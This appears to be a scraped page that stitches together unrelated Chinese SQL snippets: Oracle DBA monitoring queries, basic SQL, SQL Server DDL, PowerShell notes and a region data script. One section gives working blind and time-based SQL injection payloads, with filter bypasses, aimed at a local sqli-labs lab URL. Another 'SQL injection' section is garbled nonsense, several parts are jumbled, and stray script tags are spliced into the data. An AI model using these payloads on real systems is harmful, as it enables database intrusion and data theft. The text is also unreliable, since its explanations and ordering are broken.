常用SQL脚本
Oracle DBA 数据库日常维护手册 常用SQL 脚本
Oracle数据库日常维护【版本整理日期:2011/02/26 】版本整理人:1634068400@本文档包含以下内容:1.Oracle数据库日常维护2.Oracle DBA 常用管理脚本3.Oracle DB 常用SQL 语句/******************************************************** (若跳转不成功,请复制到浏览器或联系Q) /item.htm?id=7437120468Metalink Sharing ********************************************************/在Oracle数据库运行期间,DBA应该对数据库的运行日志及表空间的使用情况进行监控,及早发现数据库中存在的问题。
一、Oracle警告日志文件监控Oracle在运行过程中,会在警告日志文件(alert_SID.log)中记录数据库的一些运行情况:l数据库的启动、关闭,启动时的非缺省参数;l数据库的重做日志切换情况,记录每次切换的时间,及如果因为检查点(checkpoint)操作没有执行完成造成不能切换,会记录不能切换的原因;l对数据库进行的某些操作,如创建或删除表空间、增加数据文件;l数据库发生的错误,如表空间不够、出现坏块、数据库内部错误(ORA -600)DBA 应该定期检查日志文件,根据日志中发现的问题及时进行处理问题处理 启动参数不对 检查初始化参数文件因为检查点操作或归档操作没有完成造成重做日志不能切换 如果经常发生这样的情况,可以考虑增加重做日志文件组;想办法提高检查点或归档操作的效率;有人未经授权删除了表空间 检查数据库的安全问题,是否密码太简单;如有必要,撤消某些用户的系统权限出现坏块 检查是否是硬件问题(如磁盘本生有坏块),如果不是,检查是那个数据库对象出现了坏块,对这个对象进行重建表空间不够增加数据文件到相应的表空间 出现ORA-600 根据日志文件的内容查看相应的TRC文件,如果是Oracle 的bug ,要及时打上相应的补丁二、数据库表空间使用情况监控(字典管理表空间)数据库运行了一段时间后,由于不断的在表空间上创建和删除对象,会在表空间上产生大量的碎片,DBA 应该及时了解表空间的碎片和可用空间情况,以决定是否要对碎片进行整理或为表空间增加数据文件。
PLSQL常用方法&脚本汇总
select sysdate S1,next_day(sysdate,1) S2,
next_day(sysdate,'星期日') S3 FROM DUAL
5,round[舍入到最接近的日期](day:舍入到最接近的星期日)
avg(sal),
count(*) ,count(job),count(distinct(job)) ,
sum(sal) from emp group by deptno;
2)部门30的最高工资,最低工资,总人数,有工作的人数,工种数量及工资总和
select deptno, max(ename),max(sal),
比较运算符:> >= = != < <= like between is null in
逻辑运算符:not and or
集合运算符: intersect ,union, union all, minus
要求:对应集合的列数和数据类型相同
查询中不能包含long 列
列的标签是第一个集合的标签
sum(sal) from emp where deptno=30;
2, 带group by 和 having 的分组
1)按部门分组求最高工资,最低工资,总人数,有工作的人数,工种数量及工资总和
select deptno, max(ename),max(sal),
min(ename),min(sal),
select round(66.667,2) N1,trunc(66.667,2) N2 from dual;
oracle数据库巡检sql脚本
如何查询sga内各组件信息和pga大小SQL> conn / as sysdbaSQL> show parameter sga_max–查看sga的大小NAMETYPEVALUE------------------------------------ ----------- ------------------------------sga_max_sizebig integer 60SQL> show parameter sga_target–查看sga_target大小(只限10g以上版本) NAMETYPEVALUE------------------------------------ ----------- ------------------------------sga_targetbig integer 584MSQL> show parameter db_cache_size–-查看db_cache大小NAMETYPEVALUE------------------------------------ ----------- --------------------db_cache_sizebig integer 00SQL> show parameter shared_pool_size–查看share_pool大小NAMETYPEVALUE------------------------------------ ----------- ---------------------------shared_pool_sizebig integer 4SQL> show parameter pga—查看pga_aggregate_target NAMETYPEVALUE------------------------------------ ----------- ---------------pga_aggregate_targetbig integer 0查询数据库版本的sqlSQL> select VERSION from v$instance;VERSION-----------------9.2.0.1.0SQL>select name, log_mode from v$database; --查看数据库名,归档模式NAMELOG_MODE--------- ------------SKYOTAARCHIVELOG–NOARCHIVELOG为非归档模式查看数据库字符集SQL>selectvalueFROMnls_database_parameters'NLS_CHARACTERSET';VALUE-----------------------------------------------------ZHS16GBKWHEREparameter=查看redo log信息查看日至组及成员SELECTgroup#,member FROMV$LOGFILE查看xx如成员大小SQL> select group# ,bytes ,members from v$log;GROUP# BYTES MEMBERS---------- ---------- ----------1 0 12 0 13 0 1近一个月内每天xx切换次数selectto_char(first_time,'yy-mm-dd')day,count(*)timesfromv$log_history where first_time> sysdate-30group byto_char(first_time,'yy-mm-dd') ;查看监控当天高峰期日志切换情况–具体高峰时段根据项目特性修改sqlselectcount(*)timesfromv$log_historywherefirst_timebetweento_date('2009-04-11 10:00:00','yy-mm-dd hh24:mi:ss')andto_date('2009-04-11 16:00:00','yy-mm-dd hh24:mi:ss');在oracle告警日志中(alertsid.log),也可以查看最近日志切换的情况表空间使用率:SELECT UPPER (f.tablespace_name) "表空间名",d.tot_grootte_mb "表空间大小(M)",d.tot_grootte_mb - f.total_bytes "已使用空间(M)",TO_CHAR(ROUND ( (d.tot_grootte_mb - f.total_bytes)/ d.tot_grootte_mb* 100,2),'990.99') "以使用占当前表空间大小比例",f.total_bytes "空闲空间(M)", f.max_bytes "最大块(M)",d.max_autobytes "表空间扩展的最大尺寸(M)",TO_CHAR (ROUND ( (d.tot_grootte_mb - f.total_bytes)/ d.max_autobytes* 100,2),'990.99') "以使用占最大扩展比例"FROM (SELECT tablespace_name,ROUND (SUM (BYTES) / (1024 * 1024), 2) total_bytes,ROUND (MAX (BYTES) / (1024 * 1024), 2) max_bytesFROM SYS.dba_free_spaceGROUP BY tablespace_name) f,(SELECT dd.tablespace_name,ROUND (SUM (dd.BYTES) / (1024 * 1024),2) tot_grootte_mb,TRUNC ( SUM (DECODE (dd.maxbytes,0, dd.BYTES,dd.maxbytes))/ (1024 * 1024)) max_autobytesFROM SYS.dba_data_files ddGROUP BY dd.tablespace_name) dWHERE d.tablespace_name = f.tablespace_name;任务或job的运行情况selectschema_user,last_date,next_date,total_time,interval,failures,whatfromdba_job swhereschema_user='SKY'–以实际的业务用户为准查看系统当前的等待事件SELECTs.SID,w.event,ername,w.p1,w.p2,w.p3,s.logon_time,s.program,SYSDATEFROMv$session s,v$session_wait wWHEREs.SID=w.SIDANDw.eventNOT LIKE'%SQL*Net%'ANDw.eventNOT LIKE'%rdbms%'ANDw.eventNOT LIKE'%timer%'ANDw.eventNOT LIKE'%jobq%'ANDw.eventNOT LIKE'%wakeup%';当前等待事件对应的sqlSELECT/*+ RULE*/s.SID,w.event,ername,t.hash_value,t.piece,t.sql_text,SYSDATEFROMv$session s,v$session_wait w,v$sqltext tWHEREs.SID=w.SIDANDs.sql_hash_value=t.hash_valueANDw.eventIN('db file scattered read','db file sequential read','free buffer waits','enque','latch free','log file parallel write','log file sync','buffer busy waits','db file parallel write','db file single write','direct path read','direct path write','free buffer inspected','free buffer waits','library cache load lock','library cache lock','library cache pin','log buffer space','log file single write','log file switch (archiving need)', 'log file switch (clearing log file)','undo segment extension')ORDER BYs.SID,t.piece;当前主要全表扫描语句SELECTb.sql_text,b.executions,b.sorts,b.disk_reads,b.buffer_gets,a.hash_value,a.object_owner,a.object_name,SYSDATE FROMv$sql_plan a,v$sql bWHEREa.address=b.addressANDa.hash_value=b.hash_valueANDa.child_number=b.child_numberANDa.operation='TABLE ACCESS'ANDa.options='FULL'ANDa.object_ownerNOT IN('ODM','QS','QS_CBADM','QS_CS','QS_ES','QS_OS','QS_WS','SYS','SYSTEM');单次执行物理读多前20个语句SELECT*FROM(SELECTround(disk_reads/decode(EXECUTIONS,0,1,executions),2)bit,PARSING_USER_ID, EXECUTIONS,SORTS,COMMAND_TYPE,DISK_READS,sql_textFROMv$sqlareaORDER BYbitDESC)WHERE ROWNUM<21;物理多总数多前10个sqlSELECT*FROM(SELECTPARSING_USER_ID,EXECUTIONS,SORTS,COMMAND_TYPE,DISK_READS,sql_textFROMv$sqlareaORDER BYdisk_readsDESC)WHERE ROWNUM<11;单次逻辑读多的前10个sqlSELECT*b.spid,s.sql_hash_value,q.sql_text,q.executions,q.buffer_gets,ROUND(q.buffer_gets/q.executions)ASbuffer_per_exec,ROUND(q.elapsed_time /q.executions)AScpu_time_per_exec,q.cpu_time,q.elapsed_time,q.disk_reads,q.rows_processedFROMv$session s,v$process b,v$sql qWHEREs.sql_hash_value=q.hash_valueANDs.paddr=b.addr-- AND s.status = 'ACTIVE'ANDs.TYPE='USER'ANDq.buffer_gets>0ANDq.executions>0ORDER BYbuffer_per_execDESC)WHERE ROWNUM<=10;逻辑读多的前10个sqlSELECT*b.spid,s.sql_hash_value,q.sql_text,q.executions,q.buffer_gets,q.cpu_time,q.elapsed_time,q.disk_reads,q.rows_processedFROMv$session s,v$process b,v$sql q WHEREs.sql_hash_value=q.hash_value ANDs.paddr=b.addr-- AND s.status = 'ACTIVE'ANDs.TYPE='USER'ANDq.buffer_gets>0ANDq.executions>0ORDER BYbuffer_getsDESC)WHERE ROWNUM<=10;用户对象在非自定义表空间中存储的情况(owner='SKY'以实际业务用户为准)selectsegment_name,segment_type,tablespace_name,bytesfrom dba_segmentswhereowner='SKY'ANDTABLESPACE_NAMEIN('SYSTEM','USERS','SYSAUX')系统中最大的二十个表大小及高水位selectsegment_name,"SIZE(M)",TABLESPACE_NAMEfrom(select fromsegment_name,bytes/1024/1024"SIZE(M)",TABLESPACE_NAME user_segmentsORDERBYTESDESC)wherownum<=2011/ 11。
ci框架 sql 语句
ci框架 sql 语句CI框架是一个轻量级的PHP开发框架,它提供了一套简单而高效的工具和库,用于构建Web应用程序。
在CI框架中,我们可以使用SQL语句来进行数据库操作,包括数据的查询、插入、更新和删除等。
下面是一些常用的CI框架SQL语句示例:1. 查询所有记录:```sql$this->db->get('table_name')->result();```2. 查询特定字段的记录:```sql$this->db->select('field1, field2')->get('table_name')->result();```3. 查询满足条件的记录:```sql$this->db->where('field', 'value')->get('table_name')->result();```4. 查询满足多个条件的记录:```sql$this->db->where('field1', 'value1')->where('field2', 'value2')->get('table_name')->result();```5. 查询排序后的记录:```sql$this->db->order_by('field', 'desc')->get('table_name')->result();```6. 插入一条记录:```sql$data = array('field1' => 'value1', 'field2' => 'value2');$this->db->insert('table_name', $data);```7. 更新满足条件的记录:```sql$data = array('field1' => 'value1', 'field2' => 'value2');$this->db->where('field', 'value')->update('table_name', $data);```8. 删除满足条件的记录:```sql$this->db->where('field', 'value')->delete('table_name');```9. 查询记录数量:```sql$this->db->count_all('table_name');```10. 查询满足条件的记录数量:```sql$this->db->where('field', 'value')->count_all_results('table_name');```11. 查询满足条件的记录并分页:```sql$this->db->where('field', 'value')->get('table_name', $limit, $offset)->result();```以上是一些常见的CI框架SQL语句示例。
各种数据库sql语句
各种数据库sql语句1. 查询某个表的所有数据SELECT * FROM 表名;2. 查询某个表中满足条件的数据SELECT * FROM 表名 WHERE 条件;3. 插入数据到某个表中INSERT INTO 表名 (列1, 列2, 列3) VALUES (值1, 值2, 值3);4. 更新某个表中的数据UPDATE 表名 SET 列1=新值1, 列2=新值2 WHERE 条件;5. 删除某个表中的数据DELETE FROM 表名 WHERE 条件;6. 对某个表中的数据进行排序SELECT * FROM 表名 ORDER BY 列名 ASC/DESC;7. 对某个表中的数据进行分组SELECT 列1, 列2, COUNT(*) FROM 表名 GROUP BY 列1, 列2;8. 对某个表中的数据进行统计SELECT COUNT(*) FROM 表名;9. 对某个表中的数据进行求和SELECT SUM(列名) FROM 表名;10. 对某个表中的数据进行平均值计算SELECT AVG(列名) FROM 表名;11. 对某个表中的数据进行最大值和最小值的查找SELECT MAX(列名), MIN(列名) FROM 表名;12. 对某个表中的数据进行连接查询SELECT A.列1, B.列2 FROM 表名A JOIN 表名B ON A.列1 = B.列1;13. 对某个表中的数据进行多表连接查询SELECT A.列1, B.列2, C.列3 FROM 表名A JOIN 表名B ON A.列1 = B.列1 JOIN 表名C ON B.列2 = C.列2;14. 对某个表中的数据进行子查询SELECT 列1 FROM 表名 WHERE 列2 IN (SELECT 列3 FROM 表名 WHERE 条件);15. 对某个表中的数据进行模糊查询SELECT * FROM 表名 WHERE 列名 LIKE '%关键词%';16. 对某个表中的数据进行日期查询SELECT * FROM 表名 WHERE DATE(列名) = '日期';17. 对某个表中的数据进行分页查询SELECT * FROM 表名 LIMIT 起始位置, 查询数量;18. 对某个表中的数据进行去重查询SELECT DISTINCT 列名 FROM 表名;19. 对某个表中的数据进行条件判断查询SELECT * FROM 表名 WHERE 列名 > 值1 AND 列名 < 值2;20. 对某个表中的数据进行多条件查询SELECT * FROM 表名 WHERE 列名1 = 值1 OR 列名2 = 值2;以上是常见的数据库SQL语句,可以满足大部分的查询和操作需求。
SQL创建表脚本
SQL创建表脚本《1》SQL Server设置主键⾃增长列SQL Server设置主键⾃增长列1.新建⼀数据表,⾥⾯有字段id,将id设为为主键create table tb(id int,constraint pkid primary key (id))create table tb(id int primary key )2.新建⼀数据表,⾥⾯有字段id,将id设为主键且⾃动编号create table tb(id int identity(1,1),constraint pkid primary key (id))create table tb(id int identity(1,1) primary key )3.已经建好⼀数据表,⾥⾯有字段id,将id设为主键alter table tb alter column id int not nullalter table tb add constraint pkid primary key (id)4.删除主键 Declare @Pk varChar(100);Select @Pk=Name from sysobjects where Parent_Obj=OBJECT_ID('tb') and xtype='PK';if @Pk is not nullexec('Alter table tb Drop '+ @Pk)《2》在新表中创建外键在“对象资源管理器”中,连接到数据库引擎的实例。
在标准菜单栏上,单击“新建查询”。
将以下⽰例复制并粘贴到查询窗⼝中,然后单击“执⾏”。
此实例创建⼀个表并定义针对列 TempID 的外键约束,该列引⽤ Sales.SalesReason 表中的列 SalesReasonID。
ON DELETE CASCADE 和 ON UPDATE CASCADE ⼦句⽤于确保对 Sales.SalesReason 表的更改⾃动传播到 Sales.TempSalesReason 表USE AdventureWorks2012;GOCREATE TABLE Sales.TempSalesReason (TempID int NOT NULL, Name nvarchar(50),CONSTRAINT PK_TempSales PRIMARY KEY NONCLUSTERED (TempID),CONSTRAINT FK_TempSales_SalesReason FOREIGN KEY (TempID)REFERENCES Sales.SalesReason (SalesReasonID)ON DELETE CASCADEON UPDATE CASCADE);GO《3》建表之前进⾏必要的批处理CREATE TABLE UserContactPerson(ID INT PRIMARY KEY,UserID INT,ContactPersonID INT)(贴代码是格式错位了)这种写法是最原始、落后的。
常用sql注入语句
常用sql注入语句SQL注入是一种常见的Web安全漏洞,黑客可以利用它向服务器发送恶意SQL查询语句,从而获取敏感信息,如用户凭证、信用卡信息等。
以下是一些常用的SQL注入语句:1. `sql_过滤函数()`:向服务器发送一个包含过滤函数的SQL查询语句,从而允许黑客执行任意SQL操作。
例如:```SELECT * FROM users WHERE age > 18;```2. `sql_ between()`:向服务器发送一个包含between子句的SQL查询语句,允许黑客执行任意SQL操作,例如修改用户记录。
例如: ```SELECT * FROM users WHERE年龄 between 18 and 25;```3. `sql_ like()`:向服务器发送一个包含like子句的SQL查询语句,允许黑客执行任意SQL操作,例如查找用户。
例如:```SELECT * FROM users WHERE name like "%admin%";```4. `sql_及物函数()`:向服务器发送一个包含及物函数(比如*)的SQL查询语句,允许黑客执行任意SQL操作。
例如:```SELECT * FROM users WHERE name LIKE "%admin%" AND password LIKE "%admin%";```5. `sql_拼接函数()`:向服务器发送一个包含拼接函数的SQL查询语句,允许黑客执行任意SQL操作。
例如:```SELECT * FROM users WHERE name = "admin" AND password = "123456";```这些语句只是SQL注入漏洞中的一部分,黑客还可以使用更高级的技巧来欺骗服务器,获取更多的敏感信息。
因此,防止SQL注入的最佳方法是采取各种安全措施,例如使用安全的API接口、对输入数据进行过滤和验证、使用安全的密码策略等。
PowerShell应用之-批量执行SQL脚本
PowerShell应⽤之-批量执⾏SQL脚本这⼀篇,我们来实现PowerShell 2.0在SQL Server中的⼀个应⽤,是批量执⾏SQL脚本。
在接下来的内容,将使⽤到下⾯的命令或类库。
Sort-Objectout-nullWrite-Error$_System.IO.DirectoryInfomon.ServerConnection创建测试环境为了更能说明PowerShell脚本的应⽤,我们这⾥创建个测试环境,模拟⼀个要升级的SQL脚本⽂件;⾸先,要创建两个数据库『TestingDB01』和『TestingDB02』:View Codeuse masterGoif db_id('TestingDB01') Is Not nullDrop Database TestingDB01GoCreate Database TestingDB01Goif db_id('TestingDB02') Is Not nullDrop Database TestingDB02GoCreate Database TestingDB02Go在Microsoft SQL Server Management Studio(MSSMS)中执⾏上⾯的创建数据库SQL语句。
接下来我们创建三个SQL脚本⽂件:1. 01_ TestingDB_CreateTB&InitializeData.sql2. 02_ TestingDB_Procedures_0001.sql3. 03_ TestingDB_Procedures_0002.sql第1个脚本,应⽤于创建数据表和初始化数据使⽤,第2、3个脚本,只要是存储过程的脚本⽂件,其中有1个存储过程包含有动态的SQL语句,每⼀个脚本都包含有对数据库『TestingDB01』和『TestingDB02』的脚本。
这些脚本制作是模拟真实环境中的升级脚本,列举常见的脚本内容样本。
SQL盲注二分法注入脚本
SQL盲注⼆分法注⼊脚本sql盲注⼆分法注⼊脚本此脚本可以⽤来检测sql靶场第五关⼿⼯注⼊猜测数据库id=1' and length(database())=8-- -id=1'and left(database(),1)>'a'-- - 1id=1' and left(database(),1)>'z' -- - 0在a-z之间id=1'and left(database(),1)>'r'-- -1id=1' and left(database(),1)>'s' -- -0id=1'and left(database(),2)>'sa'-- -猜测表id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit a,1),b,1))>na是从0开始第⼏个表,b是为第⼏个字符,n是ASCII所对应的⼗进制数第⼀个表ascii(substr((select table_name information_schema.tables where tables_schema=database() limit 0,1),1,1))=101ascii(substr((select table_name information_schema.tables where tables_schema=database() limit 0,1),1,1))=101第⼆个表ascii(substr((select table_name information_schema.tables where tables_schema=database() limit 1,1),1,1))=101判断user表http://localhost/Tkitn/sqlitest/Less-5/?id=1'and ascii(substr((select column_name from information_schema.columns where table_name='user' limit 0,1),1,1))>100%23爆出字段http://localhost/Tkitn/sqlitest/Less-5/?id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM ers ORDER BY id LIMIT 0,1),1,1))=68-- -盲注时间盲注id=1'and sleep(5)-- -id=1' and if(length(database())>=8,sleep(5),1)-- -盲注1'^(ascii(substr((select database()),%d,1))<%d)^1#括号绕空格1'^(ascii(substr((select(database())),1,1))<1)^1#逗号被过滤1'^(ascii(substr((select(database()))from(1)for(1)))<1)^1#for被过滤1'^(ascii(substr((select(database()))from(1)))<1)^1#MySQL|SUBSTR() 函数⽤法https:///p/110142732布尔注⼊改后⾯的数字1'^(ascii(substr((select(database()))from(1)))<1)^1#97 98 99 100异或 ^ 绕过 =1^1=0 1^0=1 0^0=0每个字符的ascii码判断,是否不等于给定的数字,会得到⼀个布尔值(0或1)再与结尾的0进⾏运算。
SQLServer:查看SQL日志文件大小SQL脚本
SQLServer:查看SQL⽇志⽂件⼤⼩SQL脚本最近⼀周,连续出现了两次系统DOWN的事情,都是因为我们公司没有专门的DBA,⼀天是半夜被电话吵醒,好家伙,数据库的⽇志满了,系统前台任何提交的操作都不成功,除了查询.半夜赶回公司处理.另⼀个是TempDB爆了,也是出现同样的情况,不过这次是在周未,也很惨,JOBS都死了,下周怎么给⽤户报表啊没有DBA,那我们⼩的就只有出了问题再处理,被动太被动了.我们得想办法让系统⾃动监视数据库⽂件⼤⼩,及⽇志⽂件⼤⼩。
不应该⼈⼯⼀个⼀个数据库看⼤⼩,每天⼀个⼀个数据库的去查看⽂件⼤⼩就太费神了,要是能写个SQL脚本,建⽴⼀个JOB定时检查,每天⾃动去查看各个数据库⽂件及⽇志⽂件的⼤⼩,然后再通过数据库邮件,Email 到我们⼿中,岂不快哉!当然,可以把每天的记录存放到数据库中去,这样数据库及⽇志⽂件的增长趋势,我们也就⼀⽬了然了。
也可以在达到⼀定的百份⽐后进⾏压缩或其它处理.获取数据库⽇志⽂件⼤⼩的⽅法。
其实很简单DBCC 命令:dbcc sqlperf(logspace)我们执⾏命令可以得到以下结果:dbcc sqlperf(logspace)Database Name Log Size (MB) Log Space Used (%) Status-------------- ------------------------ ------------------------ -----------master 2.2421875 32.600174 0tempdb 0.4921875 39.285713 0model 0.4921875 41.07143 0msdb 2.2421875 30.901567 0pubs 0.7421875 49.934212 0Northwind 0.9921875 34.940945 0dbcc sqlperf(logspace) 可以获取实例中每个数据库⽇志⽂件⼤⼩,及使⽤情况。
datagrip sql script
datagrip sql scriptDataGrip SQL ScriptDataGrip是一种功能强大的数据库集成开发环境(IDE),它提供了一种方便的方法来编写和管理SQL脚本。
SQL脚本是用于执行数据库操作的一组指令,例如创建表、插入数据、更新记录等。
DataGrip提供了许多有用的功能来简化SQL脚本的编写和调试过程。
首先,它提供了一个直观的用户界面,可以轻松地创建和编辑SQL 脚本。
用户可以使用DataGrip的自动完成功能来快速编写SQL指令,而不必担心语法错误。
在DataGrip中,用户可以使用不同的数据库连接来执行SQL脚本。
这意味着用户可以同时连接多个数据库,并在一个脚本中对它们进行操作。
这种灵活性使得DataGrip成为处理复杂数据库任务的理想工具。
在SQL脚本中,用户可以使用各种语句来执行不同的操作。
例如,用户可以使用CREATE TABLE语句来创建一个新的表,使用INSERT 语句来向表中插入数据,使用UPDATE语句来更新表中的记录等等。
DataGrip提供了语法高亮和错误检查功能,以帮助用户编写正确的SQL语句。
除了基本的SQL语句之外,DataGrip还提供了许多其他有用的功能。
例如,它可以自动生成SQL脚本的代码片段,以加速编写过程。
用户还可以使用DataGrip的查询构建器来创建复杂的查询,而无需手动编写SQL语句。
此外,DataGrip还支持版本控制,可以轻松地管理SQL脚本的变更和历史记录。
DataGrip还具有强大的调试功能,可以帮助用户找出SQL脚本中的错误和性能问题。
用户可以在DataGrip中设置断点,以便在执行脚本时暂停程序的执行。
此外,DataGrip还提供了性能分析工具,可以帮助用户优化SQL脚本的执行效率。
DataGrip是一个功能强大的工具,可以帮助开发人员编写和管理SQL脚本。
它提供了许多方便的功能,使得编写和调试SQL脚本变得简单而高效。
中国行政区域明细-SQL脚本
中国行政区域明细-数据库脚本(SQL)/**********创建省级表**********/CREATE TABLE T_Province(ProID INT IDENTITY(1,1) PRIMARY KEY, --省份主键ProName NVARCHAR(50) NOT NULL, --省份名称ProSort INT, --省份排序ProRemark NVARCHAR(50) --说明)Goinsert T_Province(ProName,ProSort,ProRemark) Values('北京市','1','直辖市')insert T_Province(ProName,ProSort,ProRemark) Values('天津市','2','直辖市')insert T_Province(ProName,ProSort,ProRemark) Values('河北省','5','省份')insert T_Province(ProName,ProSort,ProRemark) Values('山西省','6','省份')insert T_Province(ProName,ProSort,ProRemark) Values('内蒙古自治区','32','自治区') insert T_Province(ProName,ProSort,ProRemark) Values('辽宁省','8','省份')insert T_Province(ProName,ProSort,ProRemark) Values('吉林省','9','省份')insert T_Province(ProName,ProSort,ProRemark) Values('黑龙江省','10','省份')insert T_Province(ProName,ProSort,ProRemark) Values('上海市','3','直辖市')insert T_Province(ProName,ProSort,ProRemark) Values('江苏省','11','省份')insert T_Province(ProName,ProSort,ProRemark) Values('浙江省','12','省份')insert T_Province(ProName,ProSort,ProRemark) Values('安徽省','13','省份')insert T_Province(ProName,ProSort,ProRemark) Values('福建省','14','省份')insert T_Province(ProName,ProSort,ProRemark) Values('江西省','15','省份')insert T_Province(ProName,ProSort,ProRemark) Values('山东省','16','省份')insert T_Province(ProName,ProSort,ProRemark) Values('河南省','17','省份')insert T_Province(ProName,ProSort,ProRemark) Values('湖北省','18','省份')insert T_Province(ProName,ProSort,ProRemark) Values('湖南省','19','省份')insert T_Province(ProName,ProSort,ProRemark) Values('广东省','20','省份')insert T_Province(ProName,ProSort,ProRemark) Values('海南省','24','省份')insert T_Province(ProName,ProSort,ProRemark) Values('广西壮族自治区','28','自治区') insert T_Province(ProName,ProSort,ProRemark) Values('甘肃省','21','省份')insert T_Province(ProName,ProSort,ProRemark) Values('陕西省','27','省份')insert T_Province(ProName,ProSort,ProRemark) Values('新疆维吾尔自治区','31','自治区') insert T_Province(ProName,ProSort,ProRemark) Values('青海省','26','省份')insert T_Province(ProName,ProSort,ProRemark) Values('宁夏回族自治区','30','自治区') insert T_Province(ProName,ProSort,ProRemark) Values('重庆市','4','直辖市')insert T_Province(ProName,ProSort,ProRemark) Values('四川省','22','省份')insert T_Province(ProName,ProSort,ProRemark) Values('贵州省','23','省份')insert T_Province(ProName,ProSort,ProRemark) Values('云南省','25','省份')insert T_Province(ProName,ProSort,ProRemark) Values('西藏自治区','29','自治区')insert T_Province(ProName,ProSort,ProRemark) Values('台湾省','7','省份')insert T_Province(ProName,ProSort,ProRemark) Values('澳门特别行政区','33','特别行政区') insert T_Province(ProName,ProSort,ProRemark) Values('香港特别行政区','34','特别行政区')/********创建市级表********/CREATE TABLE T_City(CityID INT IDENTITY(1,1) Primary KEY , --城市主键CityName NVARCHAR(50) NOT NULL,--城市名称ProID INT, --所属省份CitySort INT --城市排序)INSERT T_City(CityName,ProID,CitySort) Values('北京市','1','1')INSERT T_City(CityName,ProID,CitySort) Values('天津市','2','2')INSERT T_City(CityName,ProID,CitySort) Values('上海市','9','3')INSERT T_City(CityName,ProID,CitySort) Values('重庆市','27','4')INSERT T_City(CityName,ProID,CitySort) Values('邯郸市','3','5')INSERT T_City(CityName,ProID,CitySort) Values('石家庄市','3','6')INSERT T_City(CityName,ProID,CitySort) Values('保定市','3','7')INSERT T_City(CityName,ProID,CitySort) Values('张家口市','3','8')INSERT T_City(CityName,ProID,CitySort) Values('承德市','3','9')INSERT T_City(CityName,ProID,CitySort) Values('唐山市','3','10')INSERT T_City(CityName,ProID,CitySort) Values('廊坊市','3','11')INSERT T_City(CityName,ProID,CitySort) Values('沧州市','3','12')INSERT T_City(CityName,ProID,CitySort) Values('衡水市','3','13')INSERT T_City(CityName,ProID,CitySort) Values('邢台市','3','14')INSERT T_City(CityName,ProID,CitySort) Values('秦皇<script type="text/javascript"><!--mce:0--></script><scripttype="text/javascript"><!--mce:1--></script><scripttype="text/javascript"><!--mce:2--></script><scripttype="text/javascript"><!--mce:3--></script><script type="text/javascript"><!--mce:4--></script>岛市','3','15')INSERT T_City(CityName,ProID,CitySort) Values('朔州市','4','16')INSERT T_City(CityName,ProID,CitySort) Values('忻州市','4','17')INSERT T_City(CityName,ProID,CitySort) Values('太原市','4','18')INSERT T_City(CityName,ProID,CitySort) Values('大同市','4','19')INSERT T_City(CityName,ProID,CitySort) Values('阳泉市','4','20')INSERT T_City(CityName,ProID,CitySort) Values('晋中市','4','21')INSERT T_City(CityName,ProID,CitySort) Values('长治市','4','22')INSERT T_City(CityName,ProID,CitySort) Values('晋城市','4','23')INSERT T_City(CityName,ProID,CitySort) Values('临汾市','4','24')INSERT T_City(CityName,ProID,CitySort) Values('吕梁市','4','25')INSERT T_City(CityName,ProID,CitySort) Values('运城市','4','26')INSERT T_City(CityName,ProID,CitySort) Values('沈阳市','6','27')INSERT T_City(CityName,ProID,CitySort) Values('铁岭市','6','28')INSERT T_City(CityName,ProID,CitySort) Values('鞍山市','6','30')INSERT T_City(CityName,ProID,CitySort) Values('抚顺市','6','31')INSERT T_City(CityName,ProID,CitySort) Values('本溪市','6','32')INSERT T_City(CityName,ProID,CitySort) Values('丹东市','6','33')INSERT T_City(CityName,ProID,CitySort) Values('锦州市','6','34')INSERT T_City(CityName,ProID,CitySort) Values('营口市','6','35')INSERT T_City(CityName,ProID,CitySort) Values('阜新市','6','36')INSERT T_City(CityName,ProID,CitySort) Values('辽阳市','6','37')INSERT T_City(CityName,ProID,CitySort) Values('朝阳市','6','38')INSERT T_City(CityName,ProID,CitySort) Values('盘锦市','6','39')INSERT T_City(CityName,ProID,CitySort) Values('葫芦岛市','6','40') INSERT T_City(CityName,ProID,CitySort) Values('长春市','7','41')INSERT T_City(CityName,ProID,CitySort) Values('吉林市','7','42')INSERT T_City(CityName,ProID,CitySort) Values('延边朝鲜族自治州','7','43') INSERT T_City(CityName,ProID,CitySort) Values('四平市','7','44')INSERT T_City(CityName,ProID,CitySort) Values('通化市','7','45')INSERT T_City(CityName,ProID,CitySort) Values('白城市','7','46')INSERT T_City(CityName,ProID,CitySort) Values('辽源市','7','47')INSERT T_City(CityName,ProID,CitySort) Values('松原市','7','48')INSERT T_City(CityName,ProID,CitySort) Values('白山市','7','49')INSERT T_City(CityName,ProID,CitySort) Values('哈尔滨市','8','50') INSERT T_City(CityName,ProID,CitySort) Values('齐齐哈尔市','8','51') INSERT T_City(CityName,ProID,CitySort) Values('鸡西市','8','52')INSERT T_City(CityName,ProID,CitySort) Values('牡丹江市','8','53') INSERT T_City(CityName,ProID,CitySort) Values('七台河市','8','54') INSERT T_City(CityName,ProID,CitySort) Values('佳木斯市','8','55') INSERT T_City(CityName,ProID,CitySort) Values('鹤岗市','8','56')INSERT T_City(CityName,ProID,CitySort) Values('双鸭山市','8','57') INSERT T_City(CityName,ProID,CitySort) Values('绥化市','8','58')INSERT T_City(CityName,ProID,CitySort) Values('黑河市','8','59')INSERT T_City(CityName,ProID,CitySort) Values('大兴安岭地区','8','60') INSERT T_City(CityName,ProID,CitySort) Values('伊春市','8','61')INSERT T_City(CityName,ProID,CitySort) Values('大庆市','8','62')INSERT T_City(CityName,ProID,CitySort) Values('南京市','10','63') INSERT T_City(CityName,ProID,CitySort) Values('无锡市','10','64') INSERT T_City(CityName,ProID,CitySort) Values('镇江市','10','65') INSERT T_City(CityName,ProID,CitySort) Values('苏州市','10','66') INSERT T_City(CityName,ProID,CitySort) Values('南通市','10','67') INSERT T_City(CityName,ProID,CitySort) Values('扬州市','10','68') INSERT T_City(CityName,ProID,CitySort) Values('盐城市','10','69') INSERT T_City(CityName,ProID,CitySort) Values('徐州市','10','70') INSERT T_City(CityName,ProID,CitySort) Values('淮安市','10','71') INSERT T_City(CityName,ProID,CitySort) Values('连云港市','10','72')INSERT T_City(CityName,ProID,CitySort) Values('泰州市','10','74') INSERT T_City(CityName,ProID,CitySort) Values('宿迁市','10','75') INSERT T_City(CityName,ProID,CitySort) Values('舟山市','11','76') INSERT T_City(CityName,ProID,CitySort) Values('衢州市','11','77') INSERT T_City(CityName,ProID,CitySort) Values('杭州市','11','78') INSERT T_City(CityName,ProID,CitySort) Values('湖州市','11','79') INSERT 